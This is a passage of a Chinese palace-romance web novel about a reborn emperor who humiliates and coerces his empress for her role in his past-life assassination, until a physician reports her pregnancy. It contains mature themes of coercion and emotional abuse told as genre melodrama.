只是下一瞬, 男人将她推开,郁稚不解地抬眸, 但见他眸光之中的鄙弃与厌恶, “皇后不会以为这样做,朕就消气了?” 十足的嘲讽,明明是他引导她做如此卑微之事,此时此刻却以上位者的姿态居高临下凝望她,嘲讽她的窘迫处境。 可以预见的待遇,他不杀她已经是顶好的了, 还在奢望什么呢?可她的心却扎实钝痛了一下。 少女唇瓣晶莹,眸光孱弱, 皇帝恨透了她这副故作可怜的模样!上一世顶着这样的一张脸, 为所欲为! 抵达行宫后, 他不与她同住寝宫, 将她赶去了宫女所住的矮间,其他宫女纷纷收拾细软离开,谁敢与皇后同榻啊? 帝后之前来行宫,还是浓情蜜意的,现如今 郁稚自幼在鲁国公府阴暗潮湿的破屋长大,住宫人的卧房其实也难不倒她。 萧歧并没有面对面与她翻旧账, 他似乎不愿意提及上一世的事,所以郁稚也只能闭口不言。其实她可以告诉他,上一世那场刺杀不是她本意,是她的父兄谋划,她已经竭力救他了 他应该不会相信,哪怕信了,她是鲁国公的女儿,终究还是有罪。在他眼里,她始终是那个仇恨他的妖后。 “皇后娘娘,陛下传皇后去寝宫侍候。” 郁稚收拾完卧房已是深夜,此时皇帝传她去寝宫 她下定了决心要好好侍候他,于是特意精心装扮一番前去。 萧歧已经沐浴更衣靠在床栏看书,内室里置着解暑的冰,比她那个破屋子凉快! “上来。”萧歧在看书,并不看她, 郁稚想起其实他重生回来头一件事就是与她云雨,所以他应该还是挺喜欢她侍寝的? 床榻宽绰,郁稚小心翼翼地爬上去。呜呜还是寝宫的床舒适,虽然自己嘴硬说自小凄苦长大,不怕吃苦,但在宫中养尊处优惯了。 皇帝无所动作,难道是要她主动?于是她凑上前去解他的寝衣带子。 萧歧的目光依旧凝在书册上,他轻而易举按住了她的手并且将她推开,吩咐道,“拿起扇子,扇风。” 诶?郁稚慌张了一瞬,萧歧将枕边的罗扇塞入她手中,依然是一个眼神都不肯施舍给她。 原来他所谓的传她来伺候,是真的伺候啊。 郁稚轻摇罗扇,想凑近去瞧皇帝在看什么书,如此入迷? 可就在此时,萧歧起身熄灭了榻边的烛火,寝宫陷入昏暗。 “扇风,不要停。”萧歧闭上眼眸命令道。 将她当做宫女使唤,郁稚并无所谓,现如今哪怕他要她自割肉为他入药,她也心甘情愿,毕竟她对他亏欠太多,怎么赎罪都赎不完。 “皇后这样穿不热么?” 黑暗之中郁稚出神,皇帝的眸光不知何时落在了他身上。 男人声音低沉如耳语,“这样燥热的夜晚,皇后不褪衣袍么?”说完他抬手,将她头上的凤钗拔了去,又狠又快。 郁稚放下扇子褪了外头轻薄的纱衣。 萧歧仍不满意,就这么饶有兴致地凝望着她,“继续。” 她对他自然无有不应的,她跪坐在他枕边,层层叠叠的衣料尽数落在榻上。 萧歧的目光流连,“继续扇风。” 于是郁稚又拿起罗扇,凉丝丝的风盘旋在幔帐之中,芙蓉幔帐,绝世美人,这才是君王该有的享受。 然而男人的目光尽是不屑与鄙弃,郁稚微微垂首,她感觉很羞愧,并且清晰地明白萧歧这是在折辱自己。 十七岁的少女,眼神无辜,情、爱滋润过的胴体清纯又妖娆。 他伸手指尖抚过,好似玩弄一件瓷器摆件,那样漫不经心,“原本有很多的话要问皇后、” 郁稚屏住呼吸,他终于要提起前世了么,她一定会将所有真相和盘托出,至于他饶恕不饶恕都行。 “陛下想问臣妾什么?” “朕如今已经不想问了。” 方重生时,皇帝看着那个软弱少女,无数次祈盼她是重生而来的郁后,他有许多话要当面问她。如今真到这种时候,反而不想问了。横竖已经是这样的局面,她的命拿捏在他手中,这就够了! *** 郁稚替他扇了一夜的风,清晨时才看看睡了半个时辰,待她醒来皇帝已经离开龙榻。 用过早膳之后,萧歧带她去林中狩猎,郁稚格外困倦,骑在马上握着缰绳才不至于摔下来。 他信守承诺给她一匹大宛的好马,毛色通体雪白,名叫瑞雪,郁稚手中的弓也很衬手。可是两人都没有那个时候快活了,郁稚欢喜不起来。 两人一前一后追逐一只兔子,瑞雪的速度丝毫不逊色萧歧的战马! 郁稚射出几箭,均未命中,最后兔子进入死路,再无处可逃在原地打转寻求生路。 “张弓、瞄准、”皇帝开口命令道。 郁稚骑在马上,心脏狂跳,方才那一番追逐实在太刺激了!! “瞄准。”皇帝命令,“放箭!” 郁稚手中的箭脱离掌控,朝着兔子飞去,一击正中!!她兴奋笑着看向皇帝,男人神情严肃,唇角不见一丝笑意。 “去捡回来。”皇帝命令道。 郁稚跳下马,将弓背到身后,奔跑过去捡起兔子。 此时她听到了身后的动静,一回眸男人居高临下骑在马上,张着弓,箭头不偏不倚正好瞄准她的心脏。 她立在一片草丛之中,眸光静静地与她对视着,呼吸声焦灼急促。 原来他不是将兔子让给了她,而是从一开始,她才是他唯一的猎物!!! 恐惧到极致,她闭上眼睛,萧歧的箭很准,她可以瞬间解脱,不会太痛苦的。 嗖-- 一支箭从耳旁飞过,正中郁稚身后的树木,她骤然睁开眼眸,皇帝又上了第二支箭,他似笑非笑地望着她道,“皇后,不跑么?” “朕给你十息时间。” 他、他、不想现在杀她,而是要享受狩猎的乐趣,所以这也意味着她是有活命的可能的!!郁稚转身就跑! 皇家园林,树林茂盛,满是藤条! 她鞋袜也跑丢了,马蹄声响起,第二支箭从她背后飞来,与她擦肩而过划破了衣袍!! 萧歧!!她要杀了他!! 明明想好要赔命给他,然而此时此刻,郁稚一边逃亡一边恨自己没有用匕首杀了他!!! 她一次次摔倒在地,而他呢?如同狡猫逗鼠,游刃有余跟在她身后追逐,一支支箭离弦朝她飞来!! 最后郁稚实在是跑不动了,摔倒在地慢慢地爬起来,满身泥泞狼狈不堪,她不想跑了,干脆转过身面对他,一箭了结了她吧 萧歧策马而来,弓又一次张开了。少女瑟瑟发抖。 他的箭瞄准了她的头颅,再是心脏。 “无趣,回宫。”他警静静欣赏片刻她的恐惧,而后收起弓箭,拉过缰绳转身离开。 无趣?郁稚睁开眼眸,最后的一丝力气也被抽走,软绵绵地靠在树上,她衣裳破碎不堪,满身泥泞,头发也散了,他还说无趣 郁稚牵着马回行宫,一路走一路骂皇帝!! 回到行宫,更换脏衣服沐浴过后,皇帝又召她去御书房。左不过又是扇风这等伺候人的事。 可等她真去了御书房,瞧着满案牍的奏疏、不、有一部分是宫务。 “侍卫快马加鞭送来的,今日安寝之前,都处理好给朕过目。” 啊 她瞠目结舌。 郁稚:“陛下,这其中一大部分是奏疏,后宫不得干政,臣妾不可以、” “皇后干涉的政事难道还少么?!”萧歧笑着反问道。 “!!”郁稚压根想不出任何反驳的话,含泪看着那一大堆的奏疏、宫务。皇帝这是要活活累死她 下午的时光,萧歧闲适地靠坐在椅榻看书,而她则苦哈哈坐在御案前处理朝政。 萧歧到现在都饶她不死,不是他大发慈悲,而是他要物尽其用!! “陛下,这个字臣妾不认识”郁稚看到不认识的字,习惯性捧着奏疏凑到他跟前去问他。 “衢字,学过的,居然不认识了?”男人自然而然地伸手握住她的手,教她写字。 这个动作实在是太自然,然而刚落笔,两人似乎同时反应过来,皆微微一怔。 郁稚被他推开些许,萧歧:“自己去御案边写,别离朕太近。” 他对她避如蛇蝎,从何时开始的呢?应该是从来行宫的马车上那会开始的,昨夜他要她褪衣裳 他似乎在尝试戒断 郁稚尽力去解读,首先皇帝肯定喜欢她侍寝,否则不可能重生回来就、所以他要戒断她,等戒断成功之后再杀她 “今夜,再来寝宫,为朕扇风祛暑。”皇帝继续看书,“自己来,别让朕再叫你一回。” 果然如她所料,他要她侍候,又忍住不碰她,这不是尝试戒断是什么?!她的小命很危险啊!! 所以她今夜只要他戒断不成功,那自己就可以一直活下去? 第63章 第 63 章 孕? 郁稚替皇帝处理完奏疏, 他一一检阅,哪一项处理得不好,还要指点她改。 子时过半,好不容易全部处理完, 郁稚昏昏欲睡, “臣妾困死了” “过来, 侍夜!”皇帝没有一丝一毫心软。 狗男人绝对是要物尽其用, 活活将她累死! 沐浴过后的少女身着珠光白寝衣,乌发披散肩身, 眉宇间泛着困倦惆怅, 跪坐在席榻间,神情蔫蔫的。 萧歧合上眼眸,连看她一眼都不屑。 说起来他回宫之后,两人几乎夜夜笙歌,难道他早就腻了?良久之后,萧歧气息平缓, 郁稚停下扇子,轻轻凑近, 他真好看, 鼻梁高挺, 眉骨英俊, 她的指尖滑入男人衣襟。 “唔!”下个瞬间她就被掀翻在榻,双手交叠反扣身后。 男人凶悍粗鲁,与前世一般无二! “臣妾的手都要断了!”郁稚哭诉道! 男人气息逼近,在她耳边嘲讽道,“你很委屈么?” 要论委屈,两人之间, 她实在是排不到前头去。 她挣扎不过,“陛下从前不是夜夜要来未央宫么?就让臣妾以身赎罪,如何?” 男人唇角泛起冷笑,“朕对你早腻了!” 郁稚:“”他果然在戒断。 “只是从前不知皇后如此欲求不满,是朕的疏忽。叭义死疤以流久留3”他咬牙切齿,满是嘲讽,“当年出征就该将你带在身边,免得你不甘寂寞在后宫豢养男宠,淫、乱荒唐!” 这话落入耳朵,郁稚瞬时就僵住了。 什么?暴君这说的是人话么?她、她何时豢养男宠?又是何时淫、淫、 “朕懒得与你翻从前的旧账,你现在滚出寝宫!” 郁稚跳下床榻,人还没回过魂呢,上一世究竟是谁造的谣啊?!罢了,解释了他也不信,还不如回卧房休息! *** 郁稚养足精神,翌日又殷勤地去御书房,代替皇帝处理政务。 今日她别处心裁,着了身素纱裙,舍掉繁复的发饰,反而更显得她倾城出尘,一路行来,廊下宫人们各个瞠目结舌,目光痴凝。犹记得上一世他带她来行宫,那时瞿氏未死,她还不恨他,两人难得的真心相待的时光,她也是这样穿戴。 然而皇帝不解风情,大刀阔斧坐在御案前,轻瞥了她眼,“这样穿戴,不知道的还以为皇后新寡了。” 郁稚:“”真是打扮给瞎子看! “臣妾倒是觉得陛下今日一身素裳,十分养眼。”她声音温柔,冲着皇帝盈盈一笑,明晃晃的诱惑。 “坐下,批改奏疏!” 郁稚挪了挪软垫,坐到皇帝身侧,殷勤道,“臣妾今日命御厨做陛下爱吃的炙鹿肉。” 皇帝悠闲看书,“暑气未消就吃鹿肉,你不怕燥么?” 燥点好啊,燥点好。 郁稚:“臣妾不怕燥,臣妾也爱吃鹿肉了。” “那午膳,皇后就多食几块鹿肉。”萧歧漫不经心道。 于是午膳那一大碟的鹿肉,萧歧只吃了两三块,其余大部分都入了郁稚腹中,没有法子,萧歧给她夹菜,她不敢不吃啊。 膳后郁稚继续讨好道,“陛下要不要枕在臣妾腿上休息片刻?” 嘴上这么说,其实心里嘀咕,一上午都是她在批阅奏疏,他就在她身边看书,悠闲自在,哪里会累,累的明明是她。 萧歧靠到她膝上,享受着上一世从未有过的讨好,尤其还是清醒的她。 罗扇送来凉风,他真有点舍不得杀她,留在身边当个奴婢也不错。 只是这奴婢渐渐就不安分了,她微微俯首,唇瓣若有似无的印在他唇角、下颚、男人闭着眼眸,唇角浮现笑意。 抬手划过少女鹤颈,感受着她的温软乖顺。 唇齿缠绵,他更主动些,追逐着她的舌尖。郁稚感觉面颊发烫,吃下去的鹿肉这就有了效果,她褪下自己的衣裳,只着清凉的小衣。 “皇后” “唔?” 萧歧笑了,睁开眼眸近距离直视她,少女眸光晶莹,欲念横流,午后对话似亲昵耳语一般。 “从前那个拒人于千里之外的你,可曾想过,有朝一日会这样不择手段求着朕宠幸?” 这幽幽的一声,比任何激烈的难听的耳语更能羞辱人!!郁稚彻底清醒了,皇帝真的是厌倦了她。 没错,她弑夫杀君,罪恶滔天,不可能再祈求他的宽恕了! “若是朕今日不宠幸你,皇后打算如何?”皇帝坐起身,目光直勾勾地望着她,郁稚连外裳都褪了,此时只着衬裙与小衣,小衣细带绷在雪肌,脆弱可怜。 郁稚羞愧难当,指尖去勾地上那件外裳。 萧歧仍不放过她,“是不是打算跪在床榻求朕宠幸?” 郁稚穿好衣裳,一下午替萧歧处理好今日的奏疏,堆叠整齐抱着奏疏站起身,打算交给外头侍卫送回皇宫。 然而她腿麻了,足下一绊摔在了软垫上,“唔、疼、”膝盖磕到地板疼得她直皱眉。 皇帝终于从书册里抬眸,这轻柔的声音,令思绪飘回上一世的新婚之夜,褪下红火凤袍,她也是这般清纯昳丽,令人神魂颠倒。 哪怕两世了,他回想起来新婚之夜,也依然会觉得自己太过荒唐,那个时候的她,心性还很单纯 郁稚抚了抚膝盖,去将奏疏交给侍卫。 男人望了眼纤柔背影,抿了抿唇,俯首又翻过书页。 郁稚回来收拾御案笔墨。 萧歧:“今夜、” 话未说完,有宫人送茶盏,郁稚一抬眸发现宫女生得与自己有几分相似,哦,是行宫主事器重的宫女,名叫漱漱的 上一回他们来行宫,就是漱漱伺候萧歧,这一回不知是不是他授意的。 等宫女出去之后,郁稚侧眸看向皇帝。 男人愠怒回望,“你有什么资格?”她男宠无数,凭什么吃醋! 郁稚:“臣妾确实没有资格。” 晚膳过后他没有命她留下,她回到自己卧房,夜晚依然燥热,但郁稚疲惫不堪很快就入眠了。 直至夜深人静,房门发出一声巨响,郁稚被惊醒,刚要起身就被人捂了唇! 是萧歧,他、 “唔、”郁稚被拽到榻缘,男人高大体魄笼住狭小木榻,他没有吻他,更没有亲密贴近,他只是、只是、 “陛下不是腻了么?”她开口嘲讽,而后男人的手掌就覆了上来,死死捂住她的唇! 压抑数日,这个夜晚特别煎熬,新婚之夜的情形不断地在他脑中徘徊! 戒不掉! “妖后!”他的声音从齿间挤压出来,带着浓浓的恨意,气息也早已经紊乱 “他们也能令皇后如此欢愉么?”熊熊妒火不可抑制地燃烧迸发。 郁稚眼眶红了,“谁?” 黑暗中少女一双皓腕被他一掌扣在头顶,他故意的,不亲吻不靠近,无法感受对方的体温,就只有、入侵、 “你的那些男宠们!” 什么男宠,胡说八道!他们都是年轻的能臣! 萧歧真狠心啊,他真想就这么弄死她?欢愉之中夹杂着痛苦,更多的是屈辱,郁稚心气上来,“他们可比陛下温柔多了,也能令臣妾更快活。” 他们、他们?! “他们是谁?”他双眸猩红,“告诉朕,都是谁!朕可以饶你不死。” 郁稚反骨上来,她睁着眼眸看着萧歧怒火中烧,忽得有些愉悦,这愉悦甚至可以忘记身体上的苦楚,上一世的心性终究压抑不住,她笑了笑道,“原来陛下没有记住他们的容貌?那正好,死臣妾一个,能保全他们所有人的性命,值得。” “郁稚!!!”男人盛怒嘶吼! 郁稚后悔了,她很后悔昨夜为何要呈口舌之快?就这么坐在软垫上,觉得浑身上下没有一块骨头是不酸的。 就这样,她还得替暴君处理政务,郁稚欲哭无泪。 萧歧坐在她身侧,清晨到现在,一个好脸都没有给她。 “今日不把名单写出来,就开始禁食,直至饿死为止!”萧歧威胁道。 御案上摊着一张白纸,皇帝亲手铺开的,逼她写下前世那些个围绕在她身边的年轻臣子名字与家世背景。 他们好些个人如今还在书院读书呢,十二三岁的年纪,萧歧这是要杀了他们? 郁稚笑得很怂,“待臣妾替陛下批阅完奏疏再写” “写完再阅!”男人面如冰山,抱着手臂,眼神肃杀。 郁稚:“其实臣妾与他们清清白白,只是他们年纪轻轻才干了得,这才引得一些尸位素餐的老臣嫉妒。都怪臣妾慧眼识才、”虽然确实有一些年轻臣子企图攀附她,想方设法爬上她的榻,但她都拒绝了啊 “臣妾、” “再说一句,朕割了你的舌头。” 郁稚立即抿住了唇,磨磨蹭蹭在纸页上写下一个名字:戚离 男人失了耐心,“他祖籍何处?家世背景都给朕一一写清楚!” 郁稚揉了揉肚子,早膳太丰盛她多吃了一碗粥,这会儿直犯恶心,不不不、她要吐了!郁稚搁下笔冲去窗口不住地呕吐。 什么都吐不出来,漱过口后回到御案前。 “你磨磨蹭蹭的老毛病又犯了?”萧歧不悦。 郁稚:“” 他以为她装的? 又揉了揉肚子,总觉得哪里奇怪,稍等一下,她不会是有孕了吧?!少女瞳孔骤颤,揉腹的手微顿,自己吓住自己,这个月的癸水似乎没有来?虽然有饮避子汤,情事太频繁,也不是每回都饮 她暗自揣度,抬眸想偷偷瞧一眼皇帝,骇然地发现他也若有所思地望着自己,视线甚至移到了她揉腹的手。 郁稚立即挪开手,笑着解释,“早膳吃多了积食。” 男人张了张口,欲言又止,诡异的气氛环绕两人。 “要传御医么?”半响皇帝终于开口。 “还是不必了吧。”郁稚喃喃道,她心里没底。 萧歧的眼神纠结又富含深意,“那午膳少进一些。” “是,多谢陛下关怀”郁稚想偷偷宣御医,不能是李御医,对了,行宫有医女的! “臣妾想去花园走一走消食,陛下。” 萧歧应了声,将御案上的奏疏挪到他自己面前,郁稚简直不可思议,谢天谢地,他终于开始自己处理政务了!! 第64章 第 64 章 若是公主呢? 郁稚偷偷传了一位医女诊脉, 结果与她预料相差无几,昨日吃多鹿肉不克化,早膳也食得多,积食导致的干呕。 医女替她针灸几个穴位, 郁稚便好受许多。 午间回到御书房, 花厅已经备好膳桌, 医女交待她今日别再进食, 于是郁稚兴致缺缺地回御案前。 皇帝竟已经将今日的政务尽数处理完毕,顺便帮她把宫务也看完了。 皇帝收起笔墨, “逛园子逛这么久?来, 用午膳。” 郁稚揉了揉肚子,“臣妾今日身体不适,不想用午膳,臣妾练会儿字。” 萧歧目光狐疑地打量在她身上,“来人,传御医。” “不必传御医, 臣妾已经着医女瞧过了,不过是积食罢了!” 萧歧:“医女比不得御医, 皇后若真得了病, 不医治传给朕可如何是好?!” 郁稚:“”罢了, 让御医开几副药服用也是好的。 待御医进来, 皇帝不满道,“怎么不是李御医?” “回禀陛下,臣的师傅李院判家中丁忧,故而此次派臣随驾来了行宫。” 萧歧:“朕知道了,你好好替皇后诊断。” 郁稚正坐在椅榻上揉肚子呢,听见声音蓦然抬首, 眼看着年轻的御医朝背着药箱自己走来。 “!!!” 戚离、戚离,怎么会是戚离?!! 少女瞠目结舌,难以置信地凝视着眉目谦卑的戚离,戚离在椅榻边微微躬身,“皇后,请容臣为您诊脉。” 郁稚缓缓伸出手臂,思绪乱如麻!戚离没有参加科考,他怎么进了太医院,郁稚想起来前世的戚离确实会医术。 郁稚定了定心神,低声开口,“小御医唤什么名字?” 少年微微一笑,“回禀皇后娘娘,臣名李烁,李院判是臣的族叔。” 连自名字也改了,难道他、他、 诊脉太久,皇帝立在窗口失去耐心,“皇后,究竟患了何病?” 但见李烁起身恭敬向皇帝行礼,“回禀陛下,皇后她有孕了。” 什么?!!郁稚呆若木鸡,难以置信地看向李烁,他胡说八道!!方才那个医女明明说她只是积食罢了。 李烁:“时日尚且不久,方一月有余,若是其他御医估计无法确定孕脉,但李家世代为医,医术代代相传,故而不会出错。只是皇后似乎近日劳累,胎象还不稳、臣开几副安胎药。” 李烁退下良久,郁稚仍呆若木鸡。 若换作从前,她必定还要传几个御医好好诊一诊,但此时若这么做了,那恐怕会给李烁带来麻烦。 郁稚纠结片刻,抬眸看向窗边的皇帝,他背着光,正以平静到诡异的目光望着她。 “臣妾、臣妾去练字” 萧歧一言不发地去花厅用膳。两人皆不愿说话,不肯接受这件事!太突然了,太离谱了。 郁稚也根本静不下心来练字!!她轻轻抚上小腹,自己真有孕了?这个孩子来得、来得也太及时了!!简直比她看的话本子里的故事还要离奇。 不对,皇帝不会留下这个孩子,因为前世她弑君,他怎么可能容得下这个身上流着郁氏血脉的孩子!!他方才那眼神,明显起了杀意!! 半个时辰之后,皇帝才又重新回到御书房,手中端着一碗冒着苦气的药汁。 郁稚心都揪紧了,他没有去花厅用膳,而是去弄个一碗落胎的药?!! 萧歧:“皇后,饮药。” 前世她活到二十六岁,至死都没有子嗣,虽然腹中的孩子才一月有余,她心里为何生出悲痛? “臣妾晾一晾再喝” “晾过了,朕劝皇后还是尽早喝了吧,别犯磨磨蹭蹭的老毛病!”皇帝强势地将药碗送到她面前。 郁稚腹中实在难受,很无奈地接过药碗,光闻着气味就已经很难受,她皱眉一饮而尽。 将空药碗递回给皇帝,莫名地酸楚涌上心头。两世了,好不容易有个孩子,到头来自己无力保护。 她跪坐在矮案前,失态啜泣,泪水啪嗒啪嗒顺着面颊往下落,有些委屈地看向皇帝。 “哭什么?” “臣妾还不能哭了么?” “无理取闹。”萧歧将药碗放到桌上。 郁稚哭了良久,不停啜泣,双手捂住小腹,静静等着落胎药起效。 萧歧坐在御案前,静静地瞧着她,“腹中不适么?” 郁稚:“这落胎药怎么还没有效果?” “谁告诉你这是落胎药?这是御医开的安胎药。”萧歧道。 啊? 皇帝神情不悦,“皇后不会以为,朕也是那等狠心杀子之人吧?!” “安胎药”郁稚停止啜泣,疑惑地看向皇帝,“陛下要留下这个孩子?” 萧歧:“恭喜皇后,得了一张保命符。朕活到这把年纪,膝下空虚,好不容易得个孩子,自然是要他的。” “真的么?”郁稚转哭为笑。 萧歧:“皇后很惊讶么?该惊讶的难道不是朕么?没想到皇后竟然是个慈母。” 是啊,谁能想到上一世弑夫杀君的女子,竟然是个慈母。 萧歧:“朕需要一位储君,皇后不是要赎罪么?那就平安将孩子生下来,或许朕会对你也宽容几分。” 所以这才是真正的理由,他需要一位储君。 郁稚胡乱擦干眼泪,“那若是公主呢?陛下还会喜欢么?” 萧歧:“公主就不可以掌权么?某人身为女子,不也曾将皇权牢牢控在手心么?朕的女儿,一定会比她母亲更优秀!” 郁稚:“”上一世光明磊落的正人君子,如今说话夹枪带棒的!! 不过她真的很欢喜,两世都没有尝过当母亲的滋味,若能平安生下孩子,那她在世上有了一个真正的亲人!! 出神间,男人的手掌轻轻覆在她平坦小腹,隔着衣裳她都能感受他掌心的温度,小心翼翼的。 “臣妾可以搬回寝宫住么?那小房间夜里实在是太热了!!”郁稚得寸进尺道。 “可以,朕命人将你的东西搬回寝宫。”萧歧道,“朕的孩子出身高贵,不能住那等房间。” 郁稚:“” 炎热夜晚,郁稚欢快地躺回铺陈象牙席的龙榻,清清凉凉,软绵舒适。 “陛下,你说这个孩子会长得像谁?陛下的鼻子高挺,若他的鼻子像你就好了。” 萧歧静息闭眸,“这不要紧,最要紧的是不要像皇后你这么顽劣难教。” “我、”郁稚生气又想不出话来反驳,只怪上一世的自己太张狂了。 郁稚:“有你这样的父亲教他读书写字,他一定会很乖巧的。不像臣妾,臣妾自幼居于阴暗潮湿的陋室,独自长大,饱受欺凌,连读书写字都是陛下教了才会。” 幔帐之中静谧片刻,萧歧又道,“性子最好不像你,但容貌可以生得像皇后。” 郁稚一直都知道,其实皇帝喜欢她的容貌。 “陛下会让我抚养孩子么?” 萧歧嗤笑一声,“朕不知道,不确定,但是有一件事朕很可以肯定地告诉皇后,朕百年之后,会命你殉葬。” “为何?”郁稚惊奇,皇帝想得也太久远了 萧歧:“免得你与孩子争皇权。” “!!”郁稚背过身去再不同他讲话,真的是一失足成千古恨! “不谈天了?”皇帝语调戏谑。 “你说话气人,我不同你说了。”郁稚气鼓鼓道,背后传来男人轻笑声。 “御医说你胎象不稳当,白日里行走要多加小心,安胎药也要乖乖喝。” “臣妾的孩子不会不稳当,前几日在皇家猎场被折磨成那样,不也没落胎么!”郁稚气鼓鼓道。 “皇后?”萧歧警告她不许以下犯上。 郁稚不管不顾,横竖她有保命符,她转过身来面对皇帝,“哦,难道是因为那日又跑又摔,满身伤痕,所以才胎象不稳?” “郁稚!” 郁稚瞧着男人阴沉的脸色,原来他比她想象中更在意这个孩子。 “臣妾热,陛下为臣妾扇风?”她提醒皇帝,自己可是跪坐在他枕边替他扇了一夜的风。 “陛下若不肯扇风,那臣妾将来等孩子长大,就告诉他,他母亲怀她时生存得有多艰难。”郁后的心性终究还是占了上风,上一世的她太懂如何玩弄人心了。 萧歧目光凛冽,瞧着身侧有恃无恐的妖后。 可下一瞬他转怒为笑,“既然要说,那就多说一些,朕同他说说他父亲在战场上的丰功伟绩,再说说她母亲是如何弑夫杀君的,如何?” 郁稚:“”自己有些得意忘形了。 皇帝满意地看着少女抿住了唇!而后他又取过枕边的罗扇,替她轻轻扇风解暑,“睡吧,朕等你先睡。” 郁稚心头一颤,皇帝突然温柔的语调,一瞬间就安抚了她的心。 行宫的风水真好,两世在行宫的记忆都是很美好的,郁稚枕在男人臂膀,朝着他靠近。 她的孩子真是机灵聪慧,挑了个好时候来,也保住了她的一世荣华。 不对,戚离!!若戚离在伪装在说谎呢?!她要寻个机会单独与戚离见面,试探试探,问问清楚! 第65章 第 65 章 恃宠而骄 翌日醒来, 郁稚感觉浑身清凉舒适,睁开眼眸,瞧见萧歧正替她扇风。 这待遇与前几日简直云泥之别! “既然醒了,就下榻洗漱, 用早膳。”皇帝的语气神情依旧很冷淡。 郁稚惫懒, “陛下替臣妾更衣吧。” 萧歧:“成何体统。” “前头瞿氏给我吃软筋散, 我手足无力之时, 陛下不也替臣妾更衣么?后来我有力气了,能自己沐浴更衣, 你还不痛快。”郁稚将前头的事抖落出来, 完全一副小人得志的姿态。 皇帝神情不悦,但从衣柜里取出她的衣裳,“过来,朕只侍候你这十个月。” 郁稚就是想起前几日他对她那样坏,故而不服气想报复回去。 两人去屏风后更衣,少女身段优美, 肤如凝脂,小腹平坦, 哪里像怀了孩子, 但毕竟李御医医术了得, 他的侄子也不可能差。 “其实陛下喜欢侍候臣妾更衣吧?”郁稚得寸进尺, 仰头凑近带着几分调笑的意思。 其实皇帝虽然表面凶悍,但他经不起挑逗,人很纯情,两世都是如此。 萧歧抿了抿唇,“确实,没有记起前世的你清清纯纯, 朕很喜欢,侍候你沐浴更衣用膳,朕也觉得很有意思,心甘情愿,跟养一只小狼崽似的。不过你现在看看你,二十六岁的灵魂,要当母亲的人,丝毫不庄重!你说朕喜不喜欢你?” 郁稚:“” 确实,前世的最后他已经极度憎恶她了。她这样逗弄他,只会令他更厌烦。 少女唇瓣的笑意瞬时就冷淡下来,她拿过他手中的衣裳,“臣妾自己穿戴,陛下去忙自己的事吧。” 掌心忽得空了,萧歧愣神一瞬,径直离开屏风。 郁稚发现自己在自欺欺人,这个孩子就不该来,他们今生不该有任何纠缠,最好他能放她离开皇宫,可是郁稚已经开不了口说一些求他饶恕的话,上一世害他到那等地步 等郁稚坐到膳桌前,她的粥已经晾好了,皇帝瞧她心不在焉,“你不会还要朕侍候你用膳?” “臣妾不敢。”郁稚自行端起粥碗。 膳后用过药,药汁苦涩郁稚直皱眉头,“太苦了,这药明日不喝了。” 萧歧:“御医说你胎象不好。” “不好就不要了。”郁稚瞬间接话。 “你说什么?”萧歧语气严厉质问。 郁稚思索片刻道,“臣妾昨夜想了一夜,臣妾觉得陛下正值壮年,后宫美人如云,能为陛下孕育龙嗣的大有人在,至于臣妾腹中这个,还是不要了吧。” “怎么不要?” “若我生了他,那我便是皇储的母亲,陛下又顾忌从前、” “朕明白了,你是想要朕收回那句话,百年以后要你殉葬这句?是么?” “不是不是!”郁稚立即解释,“若皇储是出自臣妾腹中,那臣妾的父兄又会动心思。” 萧歧嗤笑,“郁稚,你是在为你父兄讨一个恩典?你知道朕终有一日会找他们算总账!” “真的不是!”郁稚道,“臣妾只是觉得,皇储的母亲若不是臣妾,那陛下会更安心一些” 萧歧目光深深地打量着她,“你究竟有何要求?” “臣妾没有任何要求,臣妾就只是觉得,既然时日还短,胎象又不稳,倒不如就这样落了,免得后面诸多麻烦。毕竟孩子生下来是塞不回去的。” “你觉得朕的骨血是麻烦?!”萧歧怒意明显压抑不住。 郁稚:“自然不是!臣妾的意思是从臣妾腹中出来的皇子,对于陛下来说是个麻烦。” “朕说要他。”萧歧义正辞严,不容她再解释,“那你就安安心心生下来,至于他身上流着你的血,只要朕自小好好教导他,他断不会走你的老路!” 郁稚百般忧愁,她越来越觉得,这个孩子不该来! 晌午时分,小李御医前来诊断脉,皇帝也在旁边瞧着,“如何,安胎药可有效?” 李烁看向郁稚,“皇后忧思太过,肝气郁结,这于胎儿不利啊。” 果然!郁稚觉得这个孩子原本也不想托生在她腹中。 李烁:“臣改一改方子,皇后娘娘、” 郁稚:“本宫不想喝药,李御医别忙了。” 萧歧:“这事容不得你做主!李御医,去开药吧,还有你的叔父,你告诉他,今日朕就要在行宫看见他!” 李烁:“陛下与皇后一直这样说话么?” 李烁这以下犯上的一句话,叫郁稚愣住了,他不要命了?! 李烁:“皇后胎象不稳,受不得这样的对待,若陛下要保皇后腹中这一胎,需要温柔待她,否则就算是叔父也难以力挽狂澜!” 郁稚真替李烁捏一把汗,幸而皇帝没同他计较,让他开药方煎药去。 她此时不敢抬眼瞧皇帝,他必定恼火了。 “是方才在屏风之后,朕语气不好,所以你才生出那种心思么?”萧歧问她,语气倒是好了几分,不是嘲讽,他认真问的。 郁稚也不知道,就是他说完那些话,她心里有些难受,他没有说错什么,可她就是难受。 皇帝瞧她神情,若她是想借机问他讨要什么,此刻便不会沉默了,所以就如他所言 郁稚思绪紊乱,活了两世的人了,因为一个突如其来的孩子乱成这样,她也真是没出息,怎么变得如此矫情没出息!! “臣妾听闻人怀孕以后容易胡思乱想,罢了,臣妾会好好喝安胎药的。” 萧歧静默片刻后道,“朕往后不会说那些话让你不悦了。” 嗯? “从前是为瞿氏的事,朕都知道,今世你不会那样了,所以从你腹中生出的孩子,朕不会不放心。况且皇后生得好看,聪慧无双,后宫其他女子比不得你,朕又何必与他们生孩子。” 郁稚惊奇,皇帝他是被鬼附身了么?怎么忽然讲这种话。 “陛下说的是真心话还是哄臣妾的?”郁稚一时诧异,口无遮拦。 萧歧骤然蹙眉,“郁稚!你别得寸进尺!” 如此微不足道的小事过后,皇帝竟真的越来越温柔,他下午甚至命人从民间寻来一堆有趣的话本子,若换作从前哪有这待遇! 不用读书练字,不用批阅奏疏,郁稚抚了抚自己平坦小腹,忽然又想生下来了 她没规矩地躺在榻上,他也没数落她,还替她将歪斜的发簪摘下,亲手为她绾了一次头发。 从前的好日子又回来了!! 郁稚又想起前世,那个时候她因为瞿氏的是憎恨皇帝,觉得他凶悍粗鲁,但仔细想想那也只是在床榻上,两人没有针锋相对时,萧歧很温柔很纵容她。 如今他不是因为她有孕了才对她好,他本性就是个温柔的男子,只是上一世的自己钻牛角尖罢了。 